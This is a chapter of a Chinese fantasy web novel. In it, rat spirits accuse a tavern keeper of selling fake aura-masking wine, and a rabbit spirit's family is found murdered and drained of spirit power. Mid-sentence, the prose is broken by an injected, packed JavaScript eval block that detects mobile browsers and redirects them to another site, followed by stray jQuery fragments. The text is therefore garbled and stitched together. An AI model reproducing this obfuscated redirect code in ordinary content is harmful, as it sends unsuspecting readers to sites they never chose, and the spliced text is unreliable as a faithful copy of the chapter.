64.假忘忧酒

作品:《妖市营业中

    见风絮带着灵兔去后院歇息,灵鼠族的家人们就再次围了上来。


    鼠夫人眼眶通红,上前一步执拗道:“千森小姐,我们知道您是大人物,我们这些小灵族不是您的对手,可您也不能仗着店大欺客吧?我夫君明明喝了你们的忘忧酒,结果还是被道士识破了身份,这不是假酒是什么?”


    她身边一个瘦高的鼠族男子立刻往前站了半步,语气里带着压抑的怒火:“就是!都说忘忧酒是您亲手调配的,我们也是信任你,觉得您最是靠谱!可现在我大哥没了,您要是不给个说法,我们就算拼了命,也要讨个公道!”


    另一个抱着孩子的鼠族妇人也跟着点头,声音带着哭腔:“千森小姐,我们知道您忙,要管的事情多,可这是一条人命啊!您不能让我家哥哥死得不明不白吧?”


    司弈和沈无站在一旁,听了鼠族的话皱起了眉头。


    “哼,我看这些人就是想讹人!”灼华再次炸了毛,双手叉着腰站到千森身前,像只护主的小兽,“你们一口咬定忘川渡卖假酒,可连我家小姐调配的酒都没见过,就敢在这里胡搅蛮缠!”


    那些鼠族的脸色瞬间沉了下来,鼠夫人攥紧了衣角,语气更冲了:“你这话是什么意思?我们难道会拿夫君的性命撒谎吗?”


    林涛站在一旁,见气氛又紧张起来,连忙拉了拉灼华的衣袖,小声劝道:“灼华,小点声吧,他们刚失去亲人,情绪激动也难免……”


    “我偏不!”灼华甩开林涛的手,径直走到鼠夫人面前,“你说你丈夫前几天来忘川渡买过忘忧酒,可我每天都在这里酿酒,来来往往的客人我都有印象,怎么不记得见过他?你要说是在我们这儿买的,总得拿出证据吧?空口白牙谁不会说?”


    “证据?”鼠夫人气得发抖,转身从一旁拿过酒坛子,重重放在桌子上,“这就是证据!你看这坛子底下,是不是你们忘川渡的刻印?这做不得假吧!我夫君就是喝了这酒,没想到还被人发现了身份!”


    灼华凑过去看了一眼,确实是忘川渡的酒坛子,可他依旧不服气:“谁知道你这坛子是不是从别处捡来的?说不定是有人故意用我们的旧坛子装假酒,就是为了栽赃忘川渡!”


    “你胡说!”鼠夫人指着灼华,气得说不出话,“除了忘川渡,整个妖市还有哪里能买到忘忧酒?你倒是说说!”


    “就是!我们只求一个公道,不是要讹钱!”其他鼠族也跟着附和,你一言我一语,两方再次吵得不可开交,大堂里的声音几乎要掀翻屋顶。


    司弈站在一旁,有些不解,小声问沈无道:“既然灵鼠族说是在忘川渡买的酒,为什么不查监控呢?调一下前几天的监控,不就能知道有没有这个人了吗?”


    沈无摇了摇头,压低声音解释道:“监控对灵族没什么用,为了不暴露身份,灵族经常会隐匿自己的身形气息,监控根本拍不到他们的踪迹,还有更甚者会篡改监控的痕迹,所以查了也是白查。”


    千森站在一旁,听着吵闹的争执声,头开始隐隐作痛。刚才为了护住灵兔的心脉,她情急之下动用了不少灵力,本就不稳定的灵力此刻又开始翻涌,让她有些眩晕。她微微后退半步,伸手扶住旁边的桌子。


    司弈眼尖,注意到了她的不适,刚想上前,后院突然传来了风絮的声音:“灵兔醒了!”


    众人一愣,千森对着灵鼠族略一颔首:“夫人,您先生的事情,我会查清楚的,只要这忘川渡在这里,我就绝不会让他死的不明不白,若真是酒有问题,我也会给你一个公道。”


    见千森已经这么说了,灵鼠族也不好再说什么,纷纷退到了一边。


    千森来到后院,灵兔已经醒了,但是脸色苍白,依旧没什么力气,眼里带着未散的惊恐,柔柔地靠在风絮身上。


    千森走到她身边,放缓语气问道:“你叫什么名字?”


    灵兔的声音还有些无力:“我叫露娜。”


    “露娜,你还记得之前发生什么事了吗?”


    露娜点了点头:“记得……我是在人间的一家便利店打工的,今天刚好是夜班,刚才到点下班,就顺着小路往家走。本来一直好好的,可走到一半,突然感觉身上的灵力开始乱晃,原本被掩盖的灵族气息一下子就冒了出来……”


    她说着突然一顿,身体不自觉地颤抖起来,双手紧紧抓住风絮的衣袖,像是回忆起了可怕的场景。


    风絮连忙轻轻拍了拍她的背,柔声安抚:“别怕,现在安全了,我们都会保护你的。”


    露娜这才稍微平静了些,继续说道:“我还没反应过来,就有个人冲出来,我只看到他穿着黑色连帽卫衣,兜帽压得很低,看不清脸……他说‘我终于找到你了’。”


    她顿了顿,满脸惊恐地看向千森,声音带着哭腔:“千森小姐,他、他为什么要找我?”


    千森没有立刻回答,心里却泛起一阵寒意——“我终于找到你了”,这个黑色帽衫男子根本不是随机行动,他有明确的目标!她压下心底的疑惑,继续问道:“他有没有试图吸你的灵力?”


    露娜愣了一下,随即用力点头:“有!他抓着我的时候,我感觉身体里的灵力在往他手里流,一下子就失去了力气,好难受……幸好当时有人路过,我趁机咬了他一口,他才松了手,我跑了几步,可还是被他的剑刺伤了腿。”


    “果然是为了灵力。”千森眉头皱的更紧了,她看向被吸干灵力的灵鼠尸体,如此一来那个黑色帽衫男子的目标,恐怕是收集灵族的灵力!可他到底是怎么找到这些灵族的呢?


    这时候灵鼠夫人突然跳了出来,急切地问道:“你喝忘忧酒了吗?是不是喝了之后突然失效的?”


    露娜有些茫然地看了她一眼,然后点了点头:“恩,喝了,平常都能够掩盖三天左右的气息,但是这次不知为何,就突然失效了……”


    鼠夫人瞬间激动起来,转身看向千森,控诉道:“千森小姐!您看!您的酒就是有问题!不然怎么会两个人喝了都出了事?”


    千森的眉头锁得更紧,上前一步追问道:“你是在忘川渡买的忘忧酒吗?什么时候买的?”


    露娜的耳朵微微垂了下来,有些不好意思地低下头:“我……我不是在忘川渡买的。我前几天要来买忘忧酒的时候,恰好遇到了郎华,他说他手上有一些忘忧酒的散货,也是从忘川渡拿的,如假包换,但是比忘川渡便宜一半,我试了确实没问题,所以这次又找他买了一回……”


    “郎华?又是他!”听到这个名字,千森眼底闪过一道寒光,她立刻追问道:“酒还有剩下的吗?”


    “有……有一点。”露娜连忙点头,“我买了一坛分装,和家里的兄弟姐妹们分着喝了一点,剩下的应该还在家里。”


    千森心里咯噔一下,突然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844582|186988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意识到不对劲:“还有别人也喝了?”


    “恩恩,我有7个兄弟姐妹。”


    “糟了!”千森登时急了起来,郎华手里的忘忧酒绝对有问题,灵兔一家喝了这种酒,很可能已经暴露了灵族气息,说不定会成为黑衣男子的下一个目标!


    “你家住在哪里?”


    “就在西巷胡同里……”


    千森立刻扭头对沈无和司弈说道:“沈无,司弈,我们现在立刻去灵兔家!我怀疑郎华卖的忘忧酒被动了手脚,灵兔一家可能凶多吉少!”


    “好!”沈无和司弈立刻应道。


    露娜一听也急了,挣扎着就想要起来,“我也去!”


    但是被风絮按了回去:“你别动!你的伤还没好呢。”


    “可是……”


    千森回头看向露娜:“露娜,这件事情非常危险,你留在这里,万一有事情,我们没办法抽空保护你。”


    露娜这才垂下了耳朵,不说话了。


    *


    夜特别静,西巷胡同里空无一人,昏黄的灯光将三人的影子拉得又细又长。三人站在巷口,一阵阴风卷着若有若无的血腥味略过,让人莫名背后发寒。


    不对劲,这里实在是太安静了。


    沈无直觉有危险,他一手按住腰间的军用匕首,放轻了脚步,快走了两步,来到露娜家门前。


    露娜家的门没有关严,虚虚地掩着,门上的灯已经灭了。门侧砖缝里一道深陷的砍痕触目惊心,落下的白灰在地上积了薄薄一层,没有任何脚印。


    沈无蹲下身,轻轻捻起地上的白灰,指尖搓了搓,又凑近仔细查看了一下砍痕,是新的。


    他冲司弈使了个眼色。司弈立刻会意,他摸出手枪,刚要抬脚推门,就被千森拉住了。


    她的掌心冰凉,指尖微微颤抖,“不用探了,……里面没有活物。”


    千森轻轻一推,门开了,还没看清屋内的样子,一股浓重的血腥味已经让人喘不过气来。


    司弈抬手打开灯,惨败灯光下,屋内一片狼藉:


    墙角的矮柜翻倒在地,抽屉敞开着,里面的杂物撒了一地;餐桌断了一条腿,陶瓷碗碟碎了满地,碎片上沾着没吃完的野菜粥;


    窗帘被撕扯了下来,成了破布,垂在窗台上,还缠着灰色的兔毛;


    最触目惊心的是地面,几道深沟从门口一直延伸到里屋,像是被利爪生生刨出来的,沟痕里积着暗红色的血,已经半凝固成了痂。


    千森站在门口,静默地垂下了眼,长长的睫毛在眼下投出淡淡的阴影。


    司弈和沈无的心也沉了下去,两人默契地没有说话,开始搜索现场。


    司弈来到房里,拉开了半挂着的窗帘,整个人而突然僵在了原地。他盯着眼前的景象,喉结动了动,好一会儿才找回了自己的声音:“千森小姐,这边……”


    千森和沈无围了过来,六具小小的兔形躯体被倒挂在晾衣架上,浅灰色的毛发被血浸透,变成了暗沉的褐色。


    小兔子们的死状极惨:最大的那只灵兔脊背上有一道狰狞的爪痕,从脖颈一直延伸到后腰;旁边一只灵兔的眼睛圆睁,一脸的惊恐,就被一箭穿心;最小的那只灵兔似乎还没有意识到发生了什么就被杀了,它的爪子紧紧攥着一只草编的蚂蚱……


    它们的身体干瘪,毛发枯萎,也被人吸干了灵力。